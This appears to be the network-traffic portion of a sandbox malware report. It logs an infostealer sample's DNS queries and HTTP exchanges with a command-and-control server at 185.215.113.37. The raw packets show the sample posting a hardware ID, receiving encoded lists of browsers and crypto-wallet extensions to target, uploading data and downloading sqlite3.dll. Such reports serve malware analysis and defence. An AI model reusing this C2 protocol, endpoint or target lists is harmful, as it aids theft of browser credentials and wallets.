Oct 25, 2024 01:27:35.057115078 CEST	192.168.2.6	1.1.1.1	0x907f	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 01:27:35.066675901 CEST	1.1.1.1	192.168.2.6	0x907f	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	185.215.113.37	80	5916	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 01:27:08.063749075 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 01:27:08.958987951 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:08.962516069 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 31 37 41 44 36 45 30 38 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"CC17AD6E08693196934881------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--
Oct 25, 2024 01:27:09.255624056 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 55 7a 59 6a 5a 68 59 57 4e 6d 59 6a 63 33 4e 6a 55 7a 4d 6a 45 35 4d 44 49 79 59 32 56 68 5a 54 64 6d 5a 47 45 30 4e 32 59 79 4f 47 4d 32 4d 44 56 6b 59 54 49 34 5a 54 41 31 59 32 56 69 4e 44 4a 6d 59 54 68 6b 4d 6a 63 78 59 6a 4d 34 4d 47 4a 6a 4e 32 51 33 5a 47 59 30 59 6a 52 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTUzYjZhYWNmYjc3NjUzMjE5MDIyY2VhZTdmZGE0N2YyOGM2MDVkYTI4ZTA1Y2ViNDJmYThkMjcxYjM4MGJjN2Q3ZGY0YjRkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 25, 2024 01:27:09.256798983 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"browsers------JDGIECGIEBKJJJJKEGHJ--
Oct 25, 2024 01:27:09.536464930 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 25, 2024 01:27:09.536499977 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 25, 2024 01:27:09.538461924 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="message"plugins------HJKKFIJKFCAKJJJKJKFI--
Oct 25, 2024 01:27:09.818454027 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 25, 2024 01:27:09.818487883 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 25, 2024 01:27:09.818505049 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 25, 2024 01:27:09.818521023 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 25, 2024 01:27:09.818536997 CEST	448	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 25, 2024 01:27:09.818561077 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 25, 2024 01:27:09.818578005 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 25, 2024 01:27:09.820441961 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 2d 2d 0d 0a Data Ascii: ------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="message"fplugins------DHCGHDHIDHCBGCBGCAEB--
Oct 25, 2024 01:27:10.099229097 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 25, 2024 01:27:10.130680084 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.37 Content-Length: 7415 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 01:27:10.130733967 CEST	7415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 25, 2024 01:27:10.929573059 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:11.938026905 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:12.215900898 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 25, 2024 01:27:12.215948105 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 25, 2024 01:27:12.215964079 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
